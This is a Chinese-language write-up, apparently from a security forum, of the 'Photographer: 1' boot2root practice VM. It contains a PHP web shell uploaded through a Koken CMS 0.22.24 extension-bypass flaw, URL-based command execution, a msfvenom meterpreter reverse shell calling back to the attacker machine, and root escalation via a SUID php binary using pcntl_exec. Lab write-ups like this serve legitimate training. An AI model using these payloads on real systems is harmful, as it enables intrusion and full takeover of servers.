靶机 Photographer: 1 实战

emper   ·   发表于 2020-09-03 14:46:56   ·   技术文章

Photographer: 1 实战

前置

1. 下载

下载地址:Photographer: 1

发现有介绍

Description

  1. This machine was developed to prepare for OSCP. It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and proof.txt.

说明我们的目标就是去找flag:user.txt proof.txt

ok!!知道了目标!

2. 安装

我使用的是VMware15,其它工具类似

文件-》打开-》选择我们下载好的文件-》打开

安装

自定义路径和名字

然后等待导入即可,如报错,点重试即可

3. 设置网络模式

设置模式与攻击机一致

攻击机:net模式

net

准备就绪

4. IP问题

如果没有找到IP

进入拯救模式

修改

  1. ro rw sigine init=/bin/bash

然后按ctrl+x进入命令行模式

执行以下命令

  1. 1. dhclient ens33 更新IP地址(ens33根据你自己IP a 看到的来跟换)
  2. 2.reboot 重启,然后应该就可以找到IP

 

 

实战开启!!!!

攻击机:kaili2020

目标机:Photographer

 

0x01. 开启靶机,开始实战!GOGOGO!

1.1 IP扫描

  1. root@For-Fun:~# netdiscover

扫描

扫描到了IP:192.168.83.146

 

1.2 nmap扫描

  1. root@For-Fun:~# nmap -A 192.168.83.146

扫描完成

 

1.3 信息整理

开启了以下端口25,80,110,139,445,8000

  1. PORT STATE SERVICE VERSION
  2. 25/tcp open tcpwrapped
  3. |_smtp-commands: Couldn't establish connection on port 25
  4. 80/tcp open tcpwrapped
  5. |_http-server-header: Apache/2.4.18 (Ubuntu)
  6. |_http-title: Photographer by v1n1v131r4
  7. 110/tcp open tcpwrapped
  8. 139/tcp open tcpwrapped
  9. 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
  10. 8000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
  11. |_http-generator: Koken 0.22.24
  12. |_http-open-proxy: Proxy might be redirecting requests
  13. |_http-server-header: Apache/2.4.18 (Ubuntu)
  14. |_http-title: daisa ahomi
  15. |_http-trane-info: Problem with XML parsing of /evox/about

可以利用的好像有:

  • 80:http
  • 445:smb
  • 8000:http

分别尝试利用一下

 

0x02. 端口利用

先看看网页端口:80,8000

再看服务端口:445

1. 80端口

80:一般是网站默认端口

尝试访问一下

  1. http://192.168.83.146/

确实是一个网站

80端口

看样子貌似是个静态页面

使用document命令来看看

  1. document.lastModified

静态

好的,静态,那就找别的什么信息了

下一个端口吧

2. 8000端口

访问

  1. http://192.168.83.146:8000/

通过CMS识别插件Wappalyzer,识别出cms

cms识别

其实我们通过页脚,和之前nmap的到的信息也可以知道此cms为:Koken 0.22.24

那么我们去搜索看看该cms有什漏洞吧

文件上传漏洞

搜索发现:

文件上传漏洞

发现就是该版本存在漏洞Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)

看看怎么说

  1. The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.
  2. Steps to exploit:
  3. 1. Create a malicious PHP file with this content:
  4. <?php system($_GET['cmd']);?>
  5. 2. Save as "image.php.jpg"
  6. 3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
  7. 4. On Burp, rename your file to "image.php"

总的来说就是上传cmdshell,然后绕过检测机制,即可

目录扫描

那么我们就要寻找上传点,前台一般没有,找后台

使用目录扫描工具进行目录扫描

扫描

发现扫描到了,进行访问

  1. http://192.168.83.146:8000/admin/

结果发现

登录

需要

  • 邮箱
  • 密码

不知到啊,那么先放着,看看有没有啥别的信息

 

3. 445端口

445端口是smb服务,那么我们尝试去访问一下

在文件系统打开

  1. smb://192.168.83.146/

smb

发现访问成,那么我们浏览看看

发现print$无法匿名连接

sambashare可以匿名访问

匿名访问

发现两个文件:mailsent.txt,wordpress.bkq.zip

mailsent.txt

打开看看

文件

貌似是一个邮件

agi@photographer.com发送给daisa@photographer.com的,内容为

  1. Hi Daisa!
  2. Your site is ready now.
  3. Don't forget your secret, my babygirl ;)

然后没别的信息了,然后看意思另一个文件好像是制作的网站

秘密? my babygirl??

难道是密码?去尝试一下

4. 再次尝试登录

  1. http://192.168.83.146:8000/admin/

邮箱可能是:daisa@photographer.com(因为是daisa的站)

然后密码的话:my babygirl或者babygirl

试试

尝试一

  1. 邮箱:daisa@photographer.com
  2. 密码:my babygirl

错误

好像说密码错误

那么

尝试二

  1. 邮箱:daisa@photographer.com
  2. 密码:babygirl

成功

登陆成功了!!!(碰运气,害)

这说明信息收集的重要性,哈哈哈哈~

 

0x03. 文件上传

根据我们之前查询到的exp,我们通过上传一句话木马,绕过检测机制从而getshell

1. 新建文件

新建文件,写入

  1. <?php system($_REQUEST['cmd']);?> (这里可以直接反弹shell,但这个也可以,多试试嘛)

然后保存问1.php文件

然后重命名为1.php.jpg

新建文件

准备完成,开启burp等待上传

2. 改包

点击上传后成功抓取到数据包

抓包

然后修改上传文件后缀

![后缀]

修改为:1.php

修改

修改完成后放包

3. 找到地址

但是我们不知道上传到哪了,上面的exp有提示,让我们去下载看看,即可知道地址

尝试下载

下载

得到地址,修改一下,然后访问

地址

发现我们上传的还是图片,没有得到修改

然后返回查看抓包数据,发现还有一处名字没改,害,重新来过吧!!!

将该文件删除

4. 改包2.0

上传抓包

抓包

进行修改,删除.jpg后缀

修改

修改完成后放包

然后尝试下载,得到地址,修改后访问

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php

成功

貌似成功了!!!

 

0x04. 获取flag

1. 查看当前用户

既然插入成功,那么我们尝试执行一下,就看看当前用户吧

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=whoami

whoami

  1. www-data

这是一个默认用户

那么接下来搜索我们的flag

2. find查找user.txt

使用find命令来查找文件

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=find / -name user.txt
  • /:从根目录下开始
  • -name:按文件名查找
  • user.txt:要查找的文件

找到

地址

  1. /home/daisa/user.txt

3. 读取user.txt文件

读取文件看看里面内容,使用cat命令

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=cat /home/daisa/user.txt

读取

读取成功

  1. d41d8cd98f00b204e9800998ecf8427e

ok,第一个flag获得成功

4. find查找proof.txt

接着使用find查找第二个flag文件

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=find / -name proof.txt

空

结果发现没有找到该文件,那么可能是因为我们当前权限低,从而无法在有特殊权限的文件夹中查找

那么我们就需要提权了

 

0x05. 提权

害,又开始提权了

1. 查看suid权限文件

那么我们就先去看看具有特殊权限的文件吧

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=find / -perm -u=s -type f 2>/dev/null

suid

有点乱整理一下

  1. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  2. /usr/lib/eject/dmcrypt-get-device
  3. /usr/lib/xorg/Xorg.wrap
  4. /usr/lib/snapd/snap-confine
  5. /usr/lib/openssh/ssh-keysign
  6. /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
  7. /usr/lib/policykit-1/polkit-agent-helper-1
  8. /usr/sbin/pppd
  9. /usr/bin/pkexec
  10. /usr/bin/passwd
  11. /usr/bin/newgrp
  12. /usr/bin/gpasswd
  13. /usr/bin/php7.2
  14. /usr/bin/sudo
  15. /usr/bin/chsh
  16. /usr/bin/chfn
  17. /bin/ntfs-3g
  18. /bin/ping
  19. /bin/fusermount
  20. /bin/mount
  21. /bin/ping6
  22. /bin/umount
  23. /bin/su

发现

  1. /usr/bin/php7.2

貌似可以使用php命令来提权

进行尝试

2. php命令提权

  1. php -r "pcntl_exec('/bin/bash',['-p']);"
  • -r 后面的都被当作代码执行
  • pcntl_exec 在当前进程空间执行指定程序

执行

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=php -r "pcntl_exec('/bin/bash',['-p']);"

提权

好像没什么反应

whomi看看

  1. http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=whoami

whoami

没成功……

这样操作不方便,刺个反弹shell看看吧

3. php反弹shell

我们先开启监听,然后制作反弹shell

3.1 php监听

开启msf

  1. msfconsole

使用监听模块

  1. msf5 > use exploit/multi/handler
  2. [*] Using configured payload generic/shell_reverse_tcp

设置php payload

  1. msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
  2. payload => php/meterpreter/reverse_tcp

查看配置

  1. msf5 exploit(multi/handler) > options
  2. Module options (exploit/multi/handler):
  3. Name Current Setting Required Description
  4. ---- --------------- -------- -----------
  5. Payload options (php/meterpreter/reverse_tcp):
  6. Name Current Setting Required Description
  7. ---- --------------- -------- -----------
  8. LHOST yes The listen address (an interface may be specified)
  9. LPORT 4444 yes The listen port
  10. Exploit target:
  11. Id Name
  12. -- ----
  13. 0 Wildcard Target

设置接受目标与端口

  1. msf5 exploit(multi/handler) > set lhost 192.168.83.140
  2. lhost => 192.168.83.140
  3. msf5 exploit(multi/handler) > set lport 8888
  4. lport => 8888

开启监听

  1. msf5 exploit(multi/handler) > exploit
  2. [*] Started reverse TCP handler on 192.168.83.140:8888

3.2 反弹shell制作

msfvenom制作反弹shell

  1. root@For-Fun:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.83.140 lport=8888 -o shell.php
  • -p :指定payload
  • lhost:设置IP
  • lport:设置监听端口

反弹shell制作

制作完成,直接上传即可,同之前步骤

上传完点击下载(或者直接访问也行),即可监听成功

  1. msf5 exploit(multi/handler) > exploit
  2. [*] Started reverse TCP handler on 192.168.83.140:8888
  3. [*] Sending stage (38288 bytes) to 192.168.83.146
  4. [*] Meterpreter session 1 opened (192.168.83.140:8888 -> 192.168.83.146:37478) at 2020-08-19 16:16:11 +0800
  5. meterpreter >

ok

那么接着之前步骤,看看怎么回事

4. php命令提权

4.1 执行shell,并显示当前目录

  1. meterpreter > shell
  2. Process 3504 created.
  3. Channel 0 created.
  4. python -c 'import pty;pty.spawn("/bin/bash")'
  5. www-data@photographer:/var/www/html/koken/storage/originals/ff/a3$

当前目录

我们直接执行之前的php提权命令看看

4.2 php命令提权

命令为:

  1. php -r "pcntl_exec('/bin/bash',['-p']);"

我们尝试执行看看

成功

额…….这就…..奇妙

接着查看一下当前用户权限

  1. bash-4.3# whoami

whoami

  1. whoami
  2. root

显示root用户

ok

 

0x06. 获取flag2.0

1. find查找proof.txt文件

  1. bash-4.3# find / -name proof.txt

find

找到了

  1. /root/proof.txt

那么我们去看看

2. cat查看文件

  1. bash-4.3# cat /root/proof.txt

cat

成功获取第二个flag

  1. d41d8cd98f00b204e9800998ecf8427e

 

0x07. flag!!!

  1. user.txt: d41d8cd98f00b204e9800998ecf8427e
  2. proof.txt: d41d8cd98f00b204e9800998ecf8427e

发现是一样的,哈哈~

完结撒花

用户名金币积分时间理由
Track-聂风 60.00 0 2020-09-09 11:11:10 同学加油

打赏我,让我更有动力~

2 Reply   |  Until 2020-9-10 | 529 View

nicky
发表于 2020-9-9

大佬

评论列表

  • 加载数据中...

编写评论内容

owwxx
发表于 2020-9-10

大佬

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.